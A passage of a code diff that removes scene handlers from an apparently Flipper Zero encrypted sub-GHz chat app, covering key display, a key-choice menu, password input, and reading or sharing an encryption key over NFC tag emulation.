|
||||||
key[9],
|
|
||||||
key[10],
|
|
||||||
key[11],
|
|
||||||
key[12],
|
|
||||||
key[13],
|
|
||||||
key[14],
|
|
||||||
key[15],
|
|
||||||
key[16],
|
|
||||||
key[17],
|
|
||||||
key[18],
|
|
||||||
key[19],
|
|
||||||
key[20],
|
|
||||||
key[21],
|
|
||||||
key[22],
|
|
||||||
key[23],
|
|
||||||
key[24],
|
|
||||||
key[25],
|
|
||||||
key[26],
|
|
||||||
key[27],
|
|
||||||
key[28],
|
|
||||||
key[29],
|
|
||||||
key[30],
|
|
||||||
key[31]);
|
|
||||||
crypto_explicit_bzero(key, sizeof(key));
|
|
||||||
} else {
|
|
||||||
strcpy(state->key_hex_str, "No Key");
|
|
||||||
}
|
|
||||||
|
|
||||||
dialog_ex_reset(state->key_display);
|
|
||||||
|
|
||||||
dialog_ex_set_text(state->key_display, state->key_hex_str, 64, 2, AlignCenter, AlignTop);
|
|
||||||
|
|
||||||
dialog_ex_set_icon(state->key_display, 0, 0, NULL);
|
|
||||||
|
|
||||||
dialog_ex_set_left_button_text(state->key_display, "Back");
|
|
||||||
|
|
||||||
if(state->encrypted) {
|
|
||||||
dialog_ex_set_center_button_text(state->key_display, "Share");
|
|
||||||
}
|
|
||||||
|
|
||||||
dialog_ex_set_result_callback(state->key_display, key_display_result_cb);
|
|
||||||
dialog_ex_set_context(state->key_display, state);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the key display scene. */
|
|
||||||
bool scene_on_event_key_display(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_display");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to message input scene */
|
|
||||||
case ESubGhzChatEvent_KeyDisplayBack:
|
|
||||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
}
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* open key sharing popup */
|
|
||||||
case ESubGhzChatEvent_KeyDisplayShare:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeySharePopup);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the key display scene. */
|
|
||||||
void scene_on_exit_key_display(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_display");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
dialog_ex_reset(state->key_display);
|
|
||||||
crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str));
|
|
||||||
}
|
|
||||||
@@ -1,174 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
ESubGhzChatKeyMenuItems_NoEncryption,
|
|
||||||
ESubGhzChatKeyMenuItems_Password,
|
|
||||||
ESubGhzChatKeyMenuItems_HexKey,
|
|
||||||
ESubGhzChatKeyMenuItems_GenKey,
|
|
||||||
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
|
|
||||||
} ESubGhzChatKeyMenuItems;
|
|
||||||
|
|
||||||
static void key_menu_cb(void* context, uint32_t index) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
uint8_t key[KEY_BITS / 8];
|
|
||||||
|
|
||||||
switch(index) {
|
|
||||||
case ESubGhzChatKeyMenuItems_NoEncryption:
|
|
||||||
state->encrypted = false;
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuNoEncryption);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ESubGhzChatKeyMenuItems_Password:
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuPassword);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ESubGhzChatKeyMenuItems_HexKey:
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuHexKey);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ESubGhzChatKeyMenuItems_GenKey:
|
|
||||||
/* generate a random key */
|
|
||||||
furi_hal_random_fill_buf(key, KEY_BITS / 8);
|
|
||||||
|
|
||||||
/* initiate the crypto context */
|
|
||||||
bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
|
|
||||||
|
|
||||||
/* cleanup */
|
|
||||||
crypto_explicit_bzero(key, sizeof(key));
|
|
||||||
|
|
||||||
if(!ret) {
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* set encrypted flag and enter the chat */
|
|
||||||
state->encrypted = true;
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuGenKey);
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ESubGhzChatKeyMenuItems_ReadKeyFromNfc:
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyMenuReadKeyFromNfc);
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the key menu scene. */
|
|
||||||
void scene_on_enter_key_menu(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_menu");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
menu_reset(state->menu);
|
|
||||||
|
|
||||||
/* clear the crypto CTX in case we got back from password or hex key
|
|
||||||
* input */
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
|
|
||||||
menu_add_item(
|
|
||||||
state->menu,
|
|
||||||
"No encryption",
|
|
||||||
&I_chat_14px,
|
|
||||||
ESubGhzChatKeyMenuItems_NoEncryption,
|
|
||||||
key_menu_cb,
|
|
||||||
state);
|
|
||||||
menu_add_item(
|
|
||||||
state->menu,
|
|
||||||
"Password",
|
|
||||||
&I_keyboard_14px,
|
|
||||||
ESubGhzChatKeyMenuItems_Password,
|
|
||||||
key_menu_cb,
|
|
||||||
state);
|
|
||||||
menu_add_item(
|
|
||||||
state->menu, "Hex Key", &I_hex_14px, ESubGhzChatKeyMenuItems_HexKey, key_menu_cb, state);
|
|
||||||
menu_add_item(
|
|
||||||
state->menu,
|
|
||||||
"Generate Key",
|
|
||||||
&I_u2f_14px,
|
|
||||||
ESubGhzChatKeyMenuItems_GenKey,
|
|
||||||
key_menu_cb,
|
|
||||||
state);
|
|
||||||
menu_add_item(
|
|
||||||
state->menu,
|
|
||||||
"Read Key from NFC",
|
|
||||||
&I_Nfc_14px,
|
|
||||||
ESubGhzChatKeyMenuItems_ReadKeyFromNfc,
|
|
||||||
key_menu_cb,
|
|
||||||
state);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Menu);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the key menu scene. */
|
|
||||||
bool scene_on_event_key_menu(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_menu");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* switch to frequency input scene */
|
|
||||||
case ESubGhzChatEvent_KeyMenuNoEncryption:
|
|
||||||
case ESubGhzChatEvent_KeyMenuGenKey:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* switch to password input scene */
|
|
||||||
case ESubGhzChatEvent_KeyMenuPassword:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_PassInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* switch to hex key input scene */
|
|
||||||
case ESubGhzChatEvent_KeyMenuHexKey:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_HexKeyInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* switch to hex key read scene */
|
|
||||||
case ESubGhzChatEvent_KeyMenuReadKeyFromNfc:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
case SceneManagerEventTypeBack:
|
|
||||||
/* stop the application if the user presses back here */
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the key menu scene. */
|
|
||||||
void scene_on_exit_key_menu(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_menu");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
menu_reset(state->menu);
|
|
||||||
}
|
|
||||||
@@ -1,273 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
#include "../helpers/nfc_helpers.h"
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
KeyReadPopupState_Idle,
|
|
||||||
KeyReadPopupState_Detecting,
|
|
||||||
KeyReadPopupState_Reading,
|
|
||||||
KeyReadPopupState_Fail,
|
|
||||||
KeyReadPopupState_Success,
|
|
||||||
} KeyReadPopupState;
|
|
||||||
|
|
||||||
static bool read_worker_cb(NfcWorkerEvent event, void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, event);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void key_read_popup_timeout_cb(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
uint32_t cur_state =
|
|
||||||
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
|
||||||
|
|
||||||
/* done displaying our failure */
|
|
||||||
if(cur_state == KeyReadPopupState_Fail) {
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupFailed);
|
|
||||||
/* done displaying our success */
|
|
||||||
} else if(cur_state == KeyReadPopupState_Success) {
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupSucceeded);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
struct ReplayDictNfcReaderContext {
|
|
||||||
uint8_t* cur;
|
|
||||||
uint8_t* max;
|
|
||||||
};
|
|
||||||
|
|
||||||
static bool replay_dict_nfc_reader(uint64_t* run_id, uint32_t* counter, void* context) {
|
|
||||||
struct ReplayDictNfcReaderContext* ctx = (struct ReplayDictNfcReaderContext*)context;
|
|
||||||
|
|
||||||
if(ctx->cur + sizeof(struct ReplayDictNfcEntry) > ctx->max) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct ReplayDictNfcEntry* entry = (struct ReplayDictNfcEntry*)ctx->cur;
|
|
||||||
*run_id = entry->run_id;
|
|
||||||
*counter = __ntohl(entry->counter);
|
|
||||||
|
|
||||||
ctx->cur += sizeof(struct ReplayDictNfcEntry);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool key_read_popup_handle_key_read(ESubGhzChatState* state) {
|
|
||||||
NfcDeviceData* dev_data = state->nfc_dev_data;
|
|
||||||
|
|
||||||
/* check for config pages */
|
|
||||||
if(dev_data->mf_ul_data.data_read < NFC_CONFIG_PAGES * 4) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t data_read = dev_data->mf_ul_data.data_read - (NFC_CONFIG_PAGES * 4);
|
|
||||||
|
|
||||||
/* check if key was transmitted */
|
|
||||||
if(data_read < KEY_BITS / 8) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* initiate the crypto context */
|
|
||||||
bool ret = crypto_ctx_set_key(
|
|
||||||
state->crypto_ctx, dev_data->mf_ul_data.data, state->name_prefix, furi_get_tick());
|
|
||||||
|
|
||||||
/* cleanup */
|
|
||||||
crypto_explicit_bzero(dev_data->mf_ul_data.data, KEY_BITS / 8);
|
|
||||||
|
|
||||||
if(!ret) {
|
|
||||||
crypto_ctx_clear(state->crypto_ctx);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* read the frequency */
|
|
||||||
if(data_read >= (KEY_BITS / 8) + sizeof(struct FreqNfcEntry)) {
|
|
||||||
struct FreqNfcEntry* freq_entry =
|
|
||||||
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + (KEY_BITS / 8));
|
|
||||||
state->frequency = __ntohl(freq_entry->frequency);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* read the replay dict */
|
|
||||||
struct ReplayDictNfcReaderContext rd_ctx = {
|
|
||||||
.cur = dev_data->mf_ul_data.data + (KEY_BITS / 8) + sizeof(struct FreqNfcEntry),
|
|
||||||
.max =
|
|
||||||
dev_data->mf_ul_data.data + (data_read < NFC_MAX_BYTES ? data_read : NFC_MAX_BYTES)};
|
|
||||||
|
|
||||||
crypto_ctx_read_replay_dict(state->crypto_ctx, replay_dict_nfc_reader, &rd_ctx);
|
|
||||||
|
|
||||||
/* set encrypted flag */
|
|
||||||
state->encrypted = true;
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void key_read_popup_set_state(ESubGhzChatState* state, KeyReadPopupState new_state) {
|
|
||||||
uint32_t cur_state =
|
|
||||||
scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup);
|
|
||||||
if(cur_state == new_state) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(new_state == KeyReadPopupState_Detecting) {
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
popup_disable_timeout(state->nfc_popup);
|
|
||||||
popup_set_text(state->nfc_popup, "Tap Flipper\n to sender", 97, 24, AlignCenter, AlignTop);
|
|
||||||
popup_set_icon(state->nfc_popup, 0, 8, &I_NFC_manual_60x50);
|
|
||||||
notification_message(state->notification, &sequence_blink_start_cyan);
|
|
||||||
} else if(new_state == KeyReadPopupState_Reading) {
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
popup_disable_timeout(state->nfc_popup);
|
|
||||||
popup_set_header(
|
|
||||||
state->nfc_popup,
|
|
||||||
"Reading key\nDon't "
|
|
||||||
"move...",
|
|
||||||
85,
|
|
||||||
24,
|
|
||||||
AlignCenter,
|
|
||||||
AlignTop);
|
|
||||||
popup_set_icon(state->nfc_popup, 12, 23, &I_Loading_24);
|
|
||||||
notification_message(state->notification, &sequence_blink_start_yellow);
|
|
||||||
} else if(new_state == KeyReadPopupState_Fail) {
|
|
||||||
nfc_worker_stop(state->nfc_worker);
|
|
||||||
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
popup_set_header(state->nfc_popup, "Failure!", 64, 2, AlignCenter, AlignTop);
|
|
||||||
popup_set_text(state->nfc_popup, "Failed\nto read\nkey.", 78, 16, AlignLeft, AlignTop);
|
|
||||||
popup_set_icon(state->nfc_popup, 21, 13, &I_Cry_dolph_55x52);
|
|
||||||
|
|
||||||
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
|
|
||||||
popup_set_context(state->nfc_popup, state);
|
|
||||||
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
|
|
||||||
popup_enable_timeout(state->nfc_popup);
|
|
||||||
|
|
||||||
notification_message(state->notification, &sequence_blink_stop);
|
|
||||||
} else if(new_state == KeyReadPopupState_Success) {
|
|
||||||
nfc_worker_stop(state->nfc_worker);
|
|
||||||
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
popup_set_header(state->nfc_popup, "Key\nread!", 13, 22, AlignLeft, AlignBottom);
|
|
||||||
popup_set_icon(state->nfc_popup, 32, 5, &I_DolphinNice_96x59);
|
|
||||||
|
|
||||||
popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS);
|
|
||||||
popup_set_context(state->nfc_popup, state);
|
|
||||||
popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb);
|
|
||||||
popup_enable_timeout(state->nfc_popup);
|
|
||||||
|
|
||||||
notification_message(state->notification, &sequence_success);
|
|
||||||
notification_message(state->notification, &sequence_blink_stop);
|
|
||||||
}
|
|
||||||
|
|
||||||
scene_manager_set_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup, new_state);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the key share read scene. */
|
|
||||||
void scene_on_enter_key_read_popup(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_read_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
|
|
||||||
|
|
||||||
state->nfc_dev_data->parsed_data = furi_string_alloc();
|
|
||||||
if(state->nfc_dev_data->parsed_data == NULL) {
|
|
||||||
/* can't do anything here, crash */
|
|
||||||
furi_check(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
nfc_worker_start(
|
|
||||||
state->nfc_worker, NfcWorkerStateRead, state->nfc_dev_data, read_worker_cb, state);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the key read popup scene. */
|
|
||||||
bool scene_on_event_key_read_popup(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_read_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
switch(event.type) {
|
|
||||||
case SceneManagerEventTypeCustom:
|
|
||||||
switch(event.event) {
|
|
||||||
/* card detected */
|
|
||||||
case NfcWorkerEventCardDetected:
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Reading);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* no card detected */
|
|
||||||
case NfcWorkerEventNoCardDetected:
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Detecting);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* key probably read */
|
|
||||||
case NfcWorkerEventReadMfUltralight:
|
|
||||||
if(key_read_popup_handle_key_read(state)) {
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Success);
|
|
||||||
} else {
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Fail);
|
|
||||||
}
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* close the popup and go back */
|
|
||||||
case ESubGhzChatEvent_KeyReadPopupFailed:
|
|
||||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
|
||||||
view_dispatcher_stop(state->view_dispatcher);
|
|
||||||
}
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* success, go to frequency input */
|
|
||||||
case ESubGhzChatEvent_KeyReadPopupSucceeded:
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
|
|
||||||
/* something else happend, treat as failure */
|
|
||||||
default:
|
|
||||||
key_read_popup_set_state(state, KeyReadPopupState_Fail);
|
|
||||||
consumed = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
consumed = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the key read popup scene. */
|
|
||||||
void scene_on_exit_key_read_popup(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_read_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
scene_manager_set_scene_state(
|
|
||||||
state->scene_manager, ESubGhzChatScene_KeyReadPopup, KeyReadPopupState_Idle);
|
|
||||||
|
|
||||||
notification_message(state->notification, &sequence_blink_stop);
|
|
||||||
|
|
||||||
nfc_worker_stop(state->nfc_worker);
|
|
||||||
|
|
||||||
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
|
|
||||||
if(state->nfc_dev_data->parsed_data != NULL) {
|
|
||||||
furi_string_free(state->nfc_dev_data->parsed_data);
|
|
||||||
}
|
|
||||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
|
||||||
}
|
|
||||||
@@ -1,124 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
#include "../helpers/nfc_helpers.h"
|
|
||||||
|
|
||||||
struct ReplayDictNfcWriterContext {
|
|
||||||
uint8_t* cur;
|
|
||||||
uint8_t* max;
|
|
||||||
};
|
|
||||||
|
|
||||||
static bool replay_dict_nfc_writer(uint64_t run_id, uint32_t counter, void* context) {
|
|
||||||
struct ReplayDictNfcWriterContext* ctx = (struct ReplayDictNfcWriterContext*)context;
|
|
||||||
|
|
||||||
struct ReplayDictNfcEntry entry = {.run_id = run_id, .counter = __htonl(counter), .unused = 0};
|
|
||||||
|
|
||||||
if(ctx->cur + sizeof(entry) > ctx->max) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
memcpy(ctx->cur, &entry, sizeof(entry));
|
|
||||||
ctx->cur += sizeof(entry);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void prepare_nfc_dev_data(ESubGhzChatState* state) {
|
|
||||||
NfcDeviceData* dev_data = state->nfc_dev_data;
|
|
||||||
|
|
||||||
dev_data->protocol = NfcDeviceProtocolMifareUl;
|
|
||||||
furi_hal_random_fill_buf(dev_data->nfc_data.uid, 7);
|
|
||||||
dev_data->nfc_data.uid_len = 7;
|
|
||||||
dev_data->nfc_data.atqa[0] = 0x44;
|
|
||||||
dev_data->nfc_data.atqa[1] = 0x00;
|
|
||||||
dev_data->nfc_data.sak = 0x00;
|
|
||||||
|
|
||||||
dev_data->mf_ul_data.type = MfUltralightTypeNTAG215;
|
|
||||||
dev_data->mf_ul_data.version.header = 0x00;
|
|
||||||
dev_data->mf_ul_data.version.vendor_id = 0x04;
|
|
||||||
dev_data->mf_ul_data.version.prod_type = 0x04;
|
|
||||||
dev_data->mf_ul_data.version.prod_subtype = 0x02;
|
|
||||||
dev_data->mf_ul_data.version.prod_ver_major = 0x01;
|
|
||||||
dev_data->mf_ul_data.version.prod_ver_minor = 0x00;
|
|
||||||
dev_data->mf_ul_data.version.storage_size = 0x11;
|
|
||||||
dev_data->mf_ul_data.version.protocol_type = 0x03;
|
|
||||||
|
|
||||||
size_t data_written = 0;
|
|
||||||
|
|
||||||
/* write key */
|
|
||||||
crypto_ctx_get_key(state->crypto_ctx, dev_data->mf_ul_data.data);
|
|
||||||
data_written += (KEY_BITS / 8);
|
|
||||||
|
|
||||||
/* write frequency */
|
|
||||||
struct FreqNfcEntry* freq_entry =
|
|
||||||
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + data_written);
|
|
||||||
freq_entry->frequency = __htonl(state->frequency);
|
|
||||||
freq_entry->unused1 = 0;
|
|
||||||
freq_entry->unused2 = 0;
|
|
||||||
freq_entry->unused3 = 0;
|
|
||||||
data_written += sizeof(struct FreqNfcEntry);
|
|
||||||
|
|
||||||
/* write the replay dict */
|
|
||||||
struct ReplayDictNfcWriterContext wr_ctx = {
|
|
||||||
.cur = dev_data->mf_ul_data.data + data_written,
|
|
||||||
.max = dev_data->mf_ul_data.data + NFC_MAX_BYTES};
|
|
||||||
|
|
||||||
size_t n_entries =
|
|
||||||
crypto_ctx_dump_replay_dict(state->crypto_ctx, replay_dict_nfc_writer, &wr_ctx);
|
|
||||||
data_written += n_entries * sizeof(struct ReplayDictNfcEntry);
|
|
||||||
|
|
||||||
/* calculate size of data, add 16 for config pages */
|
|
||||||
dev_data->mf_ul_data.data_size = data_written + (NFC_CONFIG_PAGES * 4);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Prepares the key share popup scene. */
|
|
||||||
void scene_on_enter_key_share_popup(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_share_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
|
|
||||||
popup_disable_timeout(state->nfc_popup);
|
|
||||||
|
|
||||||
popup_set_header(state->nfc_popup, "Sharing...", 67, 13, AlignLeft, AlignTop);
|
|
||||||
popup_set_icon(state->nfc_popup, 0, 3, &I_NFC_dolphin_emulation_47x61);
|
|
||||||
popup_set_text(state->nfc_popup, "Sharing\nKey via\nNFC", 90, 28, AlignCenter, AlignTop);
|
|
||||||
|
|
||||||
prepare_nfc_dev_data(state);
|
|
||||||
nfc_worker_start(
|
|
||||||
state->nfc_worker, NfcWorkerStateMfUltralightEmulate, state->nfc_dev_data, NULL, NULL);
|
|
||||||
|
|
||||||
notification_message(state->notification, &sequence_blink_start_magenta);
|
|
||||||
|
|
||||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Handles scene manager events for the key share popup scene. */
|
|
||||||
bool scene_on_event_key_share_popup(void* context, SceneManagerEvent event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_share_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
UNUSED(state);
|
|
||||||
UNUSED(event);
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Cleans up the key share popup scene. */
|
|
||||||
void scene_on_exit_key_share_popup(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_share_popup");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
popup_reset(state->nfc_popup);
|
|
||||||
|
|
||||||
notification_message(state->notification, &sequence_blink_stop);
|
|
||||||
|
|
||||||
nfc_worker_stop(state->nfc_worker);
|
|
||||||
|
|
||||||
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
|
|
||||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
|
||||||
}
|
|
||||||
@@ -1,109 +0,0 @@
|
|||||||
#include "../esubghz_chat_i.h"
|
|
||||||
|
|
||||||
/* Sends PassEntered event to scene manager. */
|
|
||||||
static void pass_input_cb(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
|
||||||
|
|
||||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_PassEntered);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* If a password was entered this derives a key from the password using a
|
|
||||||
* single pass of SHA256 and initiates the AES-GCM context for encryption. If
|
|
||||||
* the initiation fails, the password is rejected. */
|
|
||||||
static bool pass_input_validator(const char* text, FuriString* error, void* context) {
|
|
||||||
furi_assert(text);
|
|
||||||
furi_assert(error);
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
if(strlen(text) == 0) {
|
|
||||||
furi_string_printf(error, "Enter a\npassword!");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned char key[KEY_BITS / 8];
|
|
||||||
|
|
||||||
/* derive a key from the password */
|
|
||||||
sha256((unsigned char*)text, strlen(text), key);
|
|
||||||
|
|
||||||
/* initiate the crypto context */
|
|
||||||
